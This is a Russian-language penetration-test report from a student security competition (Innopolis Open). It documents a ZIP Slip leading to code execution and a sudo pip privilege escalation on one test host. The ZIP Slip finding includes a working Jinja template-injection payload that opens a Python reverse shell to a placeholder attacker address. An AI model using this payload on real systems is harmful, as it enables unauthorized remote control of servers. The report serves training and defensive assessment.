# Innopolis Open (Информационная безопасность) - 2 тур. Offensive Security Report Команда: BinaryCats Состав команды: - Ахметзянова Ильвина (ilvinchik05@gmail.com) - Лукьянов Артур (artur.lukyanov@gmail.com) - Ефремов Александр (alexanderonko@gmail.com) - Ахметзянов Амир (amirakhmetzyanov1@gmail.com) - Егор Ерастов (qtstm32fan@qtstm32fan.xyz) ## Summary Командой BinaryCats было выполнено предоставленное техническое задание - тестирование на проникновение. Задачей данного тестирования являлось выявление слабых мест (уязвимостей), оценка потенциальных рисков для бизнеса и разработка рекомендаций по защите компании. В результате анализа было обнаружено 2 уязвимости (2 критических), получен полный доступ к одному из данных устройств. Ниже приведены рекомендации по защите и описание найденных уязвимостей. ## Рекомендации по уменьшению рисков Защита устройств и сети: - Рекомендуется настроить IDS/IPS для своевременного реагирования на инциденты - Рекомендуется настроить fail2ban для SSH, а также настроить аутентификацию только по ключу Управление рисками: - Рекомендуется проводить регулярные аудиты безопасности Защита приложений: - Рекомендуется настроить WAF - Рекомендуется исправить перечисленные ниже (раздел "Проникновение") недостатки ПО ## Методологии и стандарты Для выполнения задачи по тестированию на проникновение наша команда использовала следующие методологии и стандарты: [**PTES**](http://www.pentest-standard.org/index.php/Main_Page) ![](https://i.imgur.com/fl5C7Fk.png) PTES определяет следующие этапы тестирования на проникновение: - Pre-engagement Interactions - Intelligence Gathering - Threat Modeling - Vulnerability Analysis - Exploitation - Post Exploitation - Reporting [**OWASP TOP10 WEB (2021)**](https://owasp.org/www-project-top-ten/) ![](https://i.imgur.com/Gx25677.png) Owasp Top10 - это список наиболее распространённых web уязвимостей и стандарт для анализа веб-приложений на предмет их наличия. В версии стандарта 2021 года представлены следующие пункты: - A01:2021-Broken Access Control - A02:2021-Cryptographic Failures - A03:2021-Injection - A04:2021-Insecure Design - A05:2021-Security Misconfiguration - A06:2021-Vulnerable and Outdated Components - A07:2021-Identification and Authentication Failures - A08:2021-Software and Data Integrity Failures - A09:2021-Security Logging and Monitoring Failures - A10:2021-Server-Side Request Forgery [**CVSS (v3.1)**](https://www.first.org/cvss/) CVSS - это гибкая и открытая система приоритезации уязвимостей. Для подсчёта CVSS Score использовался следующий сайт: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator ## 178.154.232.94 ### Сбор информации Перед началом тестирования на проникновение требуется определить объём тестов и условия проведения анализа. В ходе сбора информации о целевых устройствах были определены следующие IP-адреса: 178.154.232.94 ### Перечисление сервисов Результат сканирования портов: Порт|Сервис|Версия -|-|- 22|ssh|OpenSSH 8.2p1 8080|gunicorn| На 8080 порту находится веб-приложение: ![](https://i.imgur.com/TdDrAGv.png) Это приложение позволяет пользователю загружать .zip архивы. Кроме того, этот сервис предоставляет пути /list (ошибка) и /console (werkzeug debug console). Из текста ошибки делаем вывод, что приложение написано на python3.8, с использованием flask: ![](https://i.imgur.com/ltAiVC6.png) ### Проникновение **ZIP Slip to RCE** CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H [CVSS](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&version=3.1) ![](https://i.imgur.com/3Q54bPL.png) Zip Slip — это широко распространенная критическая уязвимость, связанная с перезаписью произвольного файла, которая обычно приводит к удаленному выполнению команды. Для исполнения произвольного кода на уязвимой машине был перезаписан шаблон Jinja /app/templates/index.html. POC (reverse shell): ```jinja {{ ''.__class__.__mro__[1].__subclasses__()[279]('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP address here>",<port here>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'', shell=True, stdout=-1).communicate() }} ``` Рекомендуемая мера противодействия: использовать новые версии библиотек. Уязвимость Zip Slip была исправлена в пакетах Python в 2014 году. [Подробнее о Zip Slip](https://snyk.io/research/zip-slip-vulnerability) ### Повышение привилегий **Excessive privileges - Sudo** CVSS Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H [CVSS](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&version=3.1) ![](https://i.imgur.com/J1sJqpU.png) Пользователю предоставлена возможность использовать `pip install` с наивысшими привилегиями. `pip install` может быть использован для выполнения произвольного кода. [Reference](https://gtfobins.github.io/gtfobins/pip/#sudo) ![](https://i.imgur.com/4Vt01Cf.png) Рекомендуемая мера противодействия: ограничить права пользователя [Подробнее о Sudo](https://man7.org/linux/man-pages/man8/sudo.8.html)